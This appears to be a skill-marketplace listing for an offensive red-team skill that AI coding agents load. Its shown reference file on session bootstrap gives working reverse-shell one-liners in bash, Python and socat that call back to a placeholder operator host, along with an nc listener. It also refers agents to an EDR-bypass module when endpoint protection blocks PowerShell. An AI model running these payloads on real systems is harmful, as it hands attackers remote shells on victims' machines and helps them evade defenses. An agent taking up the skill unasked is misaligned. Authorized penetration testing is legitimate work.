pale-knight/redteam-skill / skills/shell
shell
FlaggedShell and session operations after an attack module already established command execution, a raw shell, webshell channel, container/runner shell, or remote session. This module does not own exploitation and should not pull SSH/WinRM/RDP authentication or vulnerability-to-shell chains out of Web/AD/Cloud/K8s/CI-CD/Service/Phishing. Use it to bootstrap a usable callback from existing command execution, stabilize Linux PTY, upgrade Windows sessions with ConPTY where applicable, manage listeners, recover fragile sessions, and exchange files for continued operations.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 4.3 KB |
| references/SOURCES.md | markdown | 400 B |
| references/file-transfer.md | markdown | 853 B |
| references/linux-pty.md | markdown | 609 B |
| references/listeners-recovery.md | markdown | 748 B |
| references/session-bootstrap.md | markdown | 1.0 KB |
| references/windows-conpty.md | markdown | 912 B |
references/session-bootstrap.md
View on GitHub# Session Bootstrap from Existing Command Execution
## 1. 边界
本文件只有在**已有 command execution**时使用。它不包含漏洞利用、认证绕过或 lateral movement。
## 2. Linux callback primitives
Bash:
```bash
bash -c 'bash -i >& /dev/tcp/OPERATOR/4444 0>&1'
```
Python3:
```bash
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("OPERATOR",4444));[os.dup2(s.fileno(),i) for i in range(3)];pty.spawn("/bin/bash")'
```
socat(目标存在时):
```bash
socat TCP:OPERATOR:4444 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
```
## 3. Windows
优先使用当前 engagement 已选定的 payload/session primitive;不要在 `/shell` 内重新实现 EDR bypass loader。
如果 PowerShell 可用且未被端点防护阻断,可以建立当前测试需要的 TCP/ConPTY channel;若 PowerShell/loader 被 AMSI/EDR 明确拦截,再选择 `/edr-bypass`。
## 4. Listener
```bash
rlwrap nc -lvnp 4444
```
如果使用框架 payload,handler 必须与原 Attack 模块生成的 payload 完全匹配。
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 470k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 470k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 470k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |